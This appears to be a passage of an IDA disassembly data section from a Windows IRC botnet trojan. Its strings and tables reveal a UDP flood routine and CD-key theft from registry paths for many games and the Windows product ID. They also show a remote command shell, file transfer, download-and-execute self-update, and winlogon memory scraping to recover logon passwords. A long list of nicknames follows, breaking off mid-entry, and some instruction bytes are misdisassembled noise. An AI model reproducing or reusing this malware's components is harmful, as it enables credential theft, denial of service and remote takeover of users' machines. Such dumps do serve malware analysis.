73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 10h db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_436134 dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415134+35o dword_436148 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415134+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o align 10h dword_436180 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_41524C:loc_415281o dword_436194 dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_41524C+20o dword_4361A8 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415369o dd 6574656Ch, 0 dword_4361C4 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:004152CCo dd 676E6974h, 0 aDisplay db 'DISPLAY',0 ; DATA XREF: sub_4153BC+11o aWindow db 'Window',0 ; DATA XREF: sub_4155F7+23o ; sub_4157F0+26o align 10h dd 80000001h off_4361F4 dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr ; sub_415A2F+21o ; "Software\\Valve\\CounterStrike\\Settings" dd offset aCdkey ; "CDKey" dd offset aCounterStrikeR ; "Counter-Strike (Retail)" dword_436200 dd 2 dup(0) ; DATA XREF: sub_415A2F+26o dd 80000001h, 437384h, 437378h, 437368h, 2 dup(0) dd 80000001h, 437348h, 437344h, 437330h, 2 dup(0) dd 80000001h, 43730Ch, 437344h, 437300h, 2 dup(0) dd 80000001h, 4372DCh, 4372D4h, 4372C0h, 2 dup(0) dd 80000001h, 4372ACh, 43729Ch, 437280h, 2 dup(0) dd 80000001h, 43723Ch, 4373C4h, 437228h, 2 dup(0) dd 80000002h, 4371FCh, 4371F0h, 4371D0h, 2 dup(0) dd 80000002h, 43719Ch, 4373C4h, 437184h, 2 dup(0) dd 80000002h, 437150h, 4373C4h, 437138h, 2 dup(0) dd 80000002h, 437120h, 4373C4h, 437108h, 2 dup(0) dd 80000002h, 4370CCh, 43D128h, 4370BCh, 2 dup(0) dd 80000002h, 437084h, 43D128h, 437070h, 2 dup(0) dd 80000002h, 437024h, 43D128h, 437004h, 2 dup(0) dd 80000002h, 436FB4h, 43D128h, 436F88h, 2 dup(0) dd 80000002h, 436F4Ch, 43D128h, 436F38h, 2 dup(0) dd 80000002h, 436F00h, 43D128h, 436EF0h, 2 dup(0) dd 80000002h, 436EA0h, 43D128h, 436E74h, 2 dup(0) dd 80000002h, 436E34h, 43D128h, 436E18h, 2 dup(0) dd 80000002h, 436DE8h, 43D128h, 436DC8h, 2 dup(0) dd 80000002h, 436D8Ch, 43D128h, 436D78h, 2 dup(0) dd 80000002h, 436D30h, 43D128h, 436D10h, 2 dup(0) dd 80000002h, 436CBCh, 43D128h, 436C8Ch, 2 dup(0) dd 80000002h, 436C3Ch, 43D128h, 436C10h, 2 dup(0) dd 80000002h, 436BD0h, 436BC8h, 436BA8h, 2 dup(0) dd 80000002h, 436B64h, 43D128h, 436B48h, 2 dup(0) dd 80000002h, 436AFCh, 43D128h, 436AD8h, 2 dup(0) dd 80000002h, 436AA4h, 43D128h, 436A98h, 2 dup(0) dd 80000002h, 436A64h, 43D128h, 436A58h, 2 dup(0) dd 80000002h, 436A24h, 43D128h, 436A18h, 2 dup(0) dd 80000002h, 4369E4h, 43D128h, 4369D8h, 2 dup(0) dd 80000002h, 43699Ch, 43D128h, 436988h, 2 dup(0) dd 80000002h, 43694Ch, 43D128h, 436938h, 2 dup(0) dd 80000002h, 436908h, 4373C4h, 4368ECh, 2 dup(0) dd 80000002h, 4368CCh, 4368C4h, 4368A0h, 2 dup(0) dd 80000002h, 436884h, 4368C4h, 436864h, 2 dup(0) dd 80000002h, 436844h, 4368C4h, 436820h, 2 dup(0) dd 80000002h, 436808h, 4368C4h, 436804h, 2 dup(0) dd 80000002h, 4367E8h, 4367D8h, 4367D0h, 2 dup(0) dd 80000002h, 43679Ch, 42C218h, 436784h, 2 dup(0) dd 80000002h, 436748h, 43673Ch, 436714h, 436704h, 4366F0h dd 80000002h, 4366CCh, 4366C0h, 4366ACh, 43669Ch, 436694h dd 80000002h, 4366CCh, 4366C0h, 436668h, 43669Ch, 436660h dd 80000002h, 4366CCh, 4366C0h, 436630h, 43669Ch, 436628h dd 6 dup(0) dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h dd 64726564h, 296B7261h, 0 dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh dd 6469746Eh, 2965h, 3179654Bh, 3Dh, 636E776Eh, 79656B64h dd 696E692Eh, 0 aNeverwinterNig db 'Neverwinter Nights',0 align 10h aLocation db 'Location',0 align 4 aSoftwareBiowar db 'Software\BioWare\NWN\Neverwinter',0 align 10h aMtkwftmkemfew3 db 'mtkwftmkemfew3p3b7',0 align 4 aBaseMpSof2key db 'base\mp\sof2key',0 aSoldierOfFortu db 'Soldier of Fortune II - Double Helix',0 align 4 aInstallpath db 'InstallPath',0 db 53h aOftwareActivis db 'oftware\Activision\Soldier of Fortune II - Double Helix',0 align 4 aHiddenDangerou db 'Hidden & Dangerous 2',0 align 4 db 53h aOftwareIllusio db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0 align 10h aChrome db 'Chrome',0 align 4 aSerialnumber db 'SerialNumber',0 align 4 db 53h aOftwareTechlan db 'oftware\Techland\Chrome',0 align 4 dd offset word_584F4E aSoftwareWestwo db 'Software\Westwood\NOX',0 align 10h aCommandAndConq db 'Command and Conquer: Red Alert 2',0 align 4 db 53h aOftwareWestwoo db 'oftware\Westwood\Red Alert 2',0 align 4 aCommandAndCo_0 db 'Command and Conquer: Red Alert',0 align 4 db 53h aOftwareWestw_0 db 'oftware\Westwood\Red Alert',0 aCommandAndCo_1 db 'Command and Conquer: Tiberian Sun',0 align 4 aSerial db 'Serial',0 align 4 db 53h aOftwareWestw_1 db 'oftware\Westwood\Tiberian Sun',0 align 4 aRainbowSixIiiR db 'Rainbow Six III RavenShield',0 db 53h aOftwareRedStor db 'oftware\Red Storm Entertainment\RAVENSHIELD',0 align 4 aNascarRacing20 db 'Nascar Racing 2003',0 align 4 db 53h aOftwareElectro db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0 align 4 aNascarRacing_0 db 'Nascar Racing 2002',0 align 4 db 53h aOftwareElect_0 db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0 align 4 aNhl2003 db 'NHL 2003',0 align 4 db 53h aOftwareElect_1 db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0 align 4 aNhl2002 db 'NHL 2002',0 align 4 db 53h aOftwareElect_2 db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0 align 4 aFifa2003 db 'FIFA 2003',0 align 4 db 53h aOftwareElect_3 db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0 align 4 aFifa2002 db 'FIFA 2002',0 align 4 db 53h aOftwareElect_4 db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0 align 4 aShogunTotalWar db 'Shogun: Total War: Warlord Edition',0 align 4 db 53h aOftwareElect_5 db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi' db 'on\ergc',0 align 4 aNeedForSpeedUn db 'Need For Speed: Underground',0 db 53h aOftwareElect_6 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0 align 4 aNeedForSpeedHo db 'Need For Speed Hot Pursuit 2',0 align 4 aErgc db 'ergc',0 align 10h db 53h aOftwareElect_7 db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0 align 10h aMedalOfHonorAl db 'Medal of Honor: Allied Assault: Spearhead',0 align 4 db 53h aOftwareElect_8 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp' db 'earhead\ergc',0 align 4 aMedalOfHonor_0 db 'Medal of Honor: Allied Assault: Breakthrough',0 align 4 db 53h aOftwareElect_9 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br' db 'eakthrough\ergc',0 align 10h aMedalOfHonor_1 db 'Medal of Honor: Allied Assault',0 align 10h db 53h aOftwareElec_10 db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er' db 'gc',0 align 4 aGlobalOperatio db 'Global Operations',0 align 4 db 53h aOftwareElec_11 db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0 align 4 aCommandAndCo_2 db 'Command and Conquer: Generals',0 align 4 db 53h aOftwareElec_12 db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0 aJamesBond007Ni db 'James Bond 007: Nightfire',0 align 4 db 53h aOftwareElec_13 db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0 aCommandAndCo_3 db 'Command and Conquer: Generals (Zero Hour)',0 align 10h db 53h aOftwareElec_14 db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer' db 'o Hour\ergc',0 align 10h aBlackAndWhite db 'Black and White',0 db 53h aOftwareElec_15 db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0 align 4 aBattlefieldVie db 'Battlefield Vietnam',0 db 53h aOftwareElec_16 db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0 align 4 aBattlefield194 db 'Battlefield 1942 (Secret Weapons of WWII)',0 align 4 db 53h aOftwareElec_17 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons ' db 'of WWII\ergc',0 align 4 aBattlefield1_0 db 'Battlefield 1942 (Road To Rome)',0 db 53h aOftwareElec_18 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom' db 'e\ergc',0 align 10h aBattlefield1_1 db 'Battlefield 1942',0 align 4 db 53h aOftwareElec_19 db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0 aFreedomForce db 'Freedom Force',0 align 4 db 53h aOftwareElec_20 db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0 aIgi2CovertStri db 'IGI 2: Covert Strike',0 align 10h db 53h aOftwareIgi2Ret db 'oftware\IGI 2 Retail',0 align 4 aUnrealTourname db 'Unreal Tournament 2004',0 align 10h db 53h aOftwareUnrealT db 'oftware\Unreal Technology\Installed Apps\UT2004',0 align 4 aUnrealTourna_0 db 'Unreal Tournament 2003',0 align 4 db 53h aOftwareUnrea_0 db 'oftware\Unreal Technology\Installed Apps\UT2003',0 align 10h aMicrosoftWindo db 'Microsoft Windows Product ID',0 align 10h aProductid db 'ProductId',0 align 4 db 53h aOftwareMicro_0 db 'oftware\Microsoft\Windows\CurrentVersion',0 align 4 aSoldiersOfAnar db 'Soldiers Of Anarchy',0 aSoftwareSilver db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0 align 10h aLegendsOfMight db 'Legends of Might and Magic',0 align 4 aCustomernumber db 'CustomerNumber',0 align 4 aSoftware3d0Sta db 'Software\3d0\Status',0 aIndustryGiant2 db 'Industry Giant 2',0 align 4 aPrvkey db 'prvkey',0 align 4 aSoftwareJowood db 'Software\JoWooD\InstalledGames\IG2',0 align 10h aHalfLife db 'Half-Life',0 align 4 aSoftwareValveH db 'Software\Valve\Half-Life\Settings',0 align 10h aGunmanChronicl db 'Gunman Chronicles',0 align 4 aKey_0 db 'Key',0 aSoftwareValveG db 'Software\Valve\Gunman\Settings',0 align 4 aTheGladiators db 'The Gladiators',0 align 4 aRegnumber db 'RegNumber',0 align 4 aSoftwareEugenS db 'Software\Eugen Systems\The Gladiators',0 align 4 aCounterStrikeR db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:004361FCo aCdkey db 'CDKey',0 ; DATA XREF: ___:004361F8o align 4 aSoftwareValveC db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361F4o align 4 asc_4373F4: ; DATA XREF: sub_415A2F+E9o ; sub_415A2F+F4o unicode 0, <=>,0 dword_4373F8 dd 234032Dh, 656B6463h, 3027379h, 7325202Dh, 7325203Ah ; DATA XREF: sub_415A2F+2Bo dd 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437474 db 2Dh ; - ; DATA XREF: ___:00415F17o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 4 dword_437498 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:0041617Co ; ___:00416312o dd 726F72h unk_4374B0 db 2Dh ; - ; DATA XREF: ___:00416114o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_4374DC db 2Dh ; - ; DATA XREF: ___:0041601Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 10h dword_437500 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:00415FE5o dd 74756Fh dword_437518 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:00415F84o dd 169h unk_437530 db 2Dh ; - ; DATA XREF: ___:00415F41o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 10h unk_437550 db 2Dh ; - ; DATA XREF: ___:00415E9Co db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_437574 db 2Dh ; - ; DATA XREF: ___:00415E5Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 4 unk_437598 db 2Dh ; - ; DATA XREF: ___:0041638Do db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_4375C4 db 2Dh ; - ; DATA XREF: ___:00416287o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_4375E4 db 2Dh ; - ; DATA XREF: ___:00416267o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 10h aAB db 'a+b',0 ; DATA XREF: ___:00416253o unk_437614 db 2Dh ; - ; DATA XREF: ___:0041623Fo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_437644 db 2Dh ; - ; DATA XREF: ___:0041688Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_437670 db 2Dh ; - ; DATA XREF: ___:0041687Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_4376A4 db 2Dh ; - ; DATA XREF: ___:004167C2o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 4 dword_4376E8 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416751o dd 25206465h, 73h unk_437704 db 2Dh ; - ; DATA XREF: ___:004166DAo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_43773C db 2Dh ; - ; DATA XREF: ___:0041665Bo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_437764 db 2Dh ; - ; DATA XREF: ___:004165D1o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 10h unk_437790 db 2Dh ; - ; DATA XREF: ___:0041658Eo db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 4 unk_4377B8 db 2Dh ; - ; DATA XREF: ___:0041657Co db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 10h unk_4377E0 db 2Dh ; - ; DATA XREF: ___:00416470o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 4 aUnknown db 'Unknown',0 ; DATA XREF: sub_4169A1:loc_4169E4o ; sub_418EF6+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_4169A1:loc_4169DEo aDisk db 'Disk',0 ; DATA XREF: sub_4169A1:loc_4169D8o align 10h aNetwork db 'Network',0 ; DATA XREF: sub_4169A1:loc_4169D2o aCdrom db 'Cdrom',0 ; DATA XREF: sub_4169A1:loc_4169CCo align 10h off_437830 dd offset word_4D4152 ; DATA XREF: sub_4169A1:loc_4169C6o word_437834 dw 3Fh ; DATA XREF: sub_4169A1+1Fo ; sub_41AA42:loc_41AB44r align 4 aFailed db 'failed',0 ; DATA XREF: sub_416A32:loc_416B10o ; sub_416B56+3Bo align 10h aSkb db '%sKB',0 ; DATA XREF: sub_416A32+6Co align 4 unk_437848 db 2Dh ; - ; DATA XREF: sub_416B56+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_437884 db 2Dh ; - ; DATA XREF: sub_416B56+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 aA_1 db 'A:\',0 ; DATA XREF: sub_416C28:loc_416C6Do db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_437930 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417093o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_437964 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_417066o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_437990 db 2Dh ; - ; DATA XREF: sub_416F1A:loc_41705Fo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 4 unk_4379C8 db 2Dh ; - ; DATA XREF: sub_416F1A+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_437A24 dd offset byte_530055 ; DATA XREF: sub_416F1A+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004D dd offset loc_4E0047+2 dd 0 off_437A3C dd offset byte_530055 ; DATA XREF: sub_416F1A+CEo dd offset byte_520045 dd offset loc_41004D+1 dd offset byte_45004D align 10h aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_416F1A+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+8Do align 4 aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_416F1A+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_416F1A+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_416F1A+68o align 10h aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_416F1A+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_416F1A+40o ; sub_416F1A+161o ... align 10h unk_437B00 db 2Dh ; - ; DATA XREF: sub_416F1A+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 10h aMsgina db 'MSGINA',0 ; DATA XREF: sub_4170EC+13Eo align 4 aNwgina db 'NWGINA',0 ; DATA XREF: sub_4170EC+123o align 10h aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_4170EC+AFo align 4 dword_437B4C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417552+70o ; sub_4175E9+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_437B9C dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4175E9+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_437BF0 dd offset aQ ; DATA XREF: sub_417ADD+5Cr ; "q" ; --------------------------------------------------------------------------- mov al, ds:38004387h lodsb inc edx add [ebx+eax*8], al inc edx add [eax-3Eh], bh inc edx add [edi+eax*4-5587FFBDh], bl inc edx add ah, dl retn 42h ; --------------------------------------------------------------------------- push esp stosb inc edx add ah, dl lodsb inc edx add ah, bl retn 42h ; --------------------------------------------------------------------------- dd offset aD ; "d" dd offset dword_438798 dd offset dword_438794 dd offset dword_438790 dd offset aJ ; "j" dd offset aK ; "k" dd offset dword_43878C dd offset dword_438788 dd offset dword_438784 dd offset aC ; "c" dd offset aV ; "v" dd offset dword_438780 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_43877C dd offset dword_438778 dd offset dword_438774 dd offset dword_438770 dd offset dword_43876C dd offset word_438768 dd offset dword_438764 dd offset aI_0 ; "I" dd offset dword_438760 dd offset dword_43875C dd offset aA_0 ; "A" dd offset dword_438758 dd offset dword_438754 dd offset dword_438750 dd offset dword_43874C dd offset dword_438748 dd offset dword_438744 dd offset dword_438740 dd offset dword_43873C dd offset dword_438738 dd offset dword_438734 dd offset dword_438730 dd offset dword_43872C dd offset dword_438728 dd offset word_438724 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_4384BC dd offset off_4384B8 dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; 